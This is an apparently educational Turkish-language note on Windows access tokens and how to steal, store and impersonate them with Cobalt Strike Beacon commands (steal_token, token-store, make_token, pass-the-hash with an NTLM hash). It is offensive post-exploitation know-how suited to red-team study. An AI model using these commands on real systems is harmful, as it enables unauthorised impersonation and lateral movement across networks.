Windows da single sign-on işleminin kalbi access tokenlerdir.Bir user Windows host’a giriş yaptığında user ile ilgili bilgieleri ve user’ın haklarını içeren bir access token üretilir.Access Token ayrıca network üzerinde başka bir sisteme erişmek isterse authenticate etmek için de kullanılır.Biz de offensive tarafta düşünecek olursak , bir yetkili kişinin ya tokenini çalarız yada elimizde bir token varsa bunu kullanarak kendimizi network kaynaklarına erişmek için authenticate edebiliriz.Peki cobalt da bunu nasıl yaparız ?
- steal_token [pid]
- steal_token [pid] <OpenProcessToken access mask>
Çalışan bir process’in tokenini çalmak için üstteki komutları kullanabiliriz.
Token store (Token store cobalt 4.8 de var , bilinmesi gerekir diye buraya eklemek istedim) ile biz token çaldığımızda bizim için bir nevi depo gibi bir yer düşünün çaldığımızda tokenleri orda depolarız ve istediğimizde tekrardan burdan kullanabiliriz.Yada direkt olarak aşağıdaki komutu kullanarak direkt olarak tokeni çaldığımızda kullanadabiliriz.Şimdi Syntax’a bakalım biraz :
- token-store steal [pid,...] <OpenProcessToken access mask>
Çaldığımız token’i direkt olarak hemen kullanmak istiyorsak şunu kullanabiliriz :
- token-store steal-and-use [pid] <OpenProcessToken access mask>
Çaldığımız tokenleri görüntülemek istiyorsak :
- token-store show
Token-store da bulunan bir tokenimizi kullanmak istiyorsak :
- token-store use [id]
Token-store da bulunan bir tokeni silmek istiyorsak :
- token-store remove [id,...]
Bütün tokenleri silmek istiyorsak :
- token-store remove-all
Kullanabiliriz.
Şuan ki tokenimizi görüntülemek istiyorsak
- getuid
Peki biz token kullandık fakat bu tokeni bırakıp eski kendi tokenimize geri dönmek istiyorsak
- rev2self
Elimizde administrator yada herhangi bir user’ın passwordu varsa biz bunun için bir token nasıl oluştururuz ?
- make_token [DOMAIN\user] [password]
Peki elimizde hash varsa ne yapacaz ?
- pth [pid] [arch] [DOMAIN\user] [ntlm hash]
- pth [DOMAIN\user] [ntlm hash]
GUI’da bir token oluşturmak istiyorsak :
Beacon sessionumuza sağ tıklayarak Access -> Make Token kullanarak bir token oluşturabiliriz.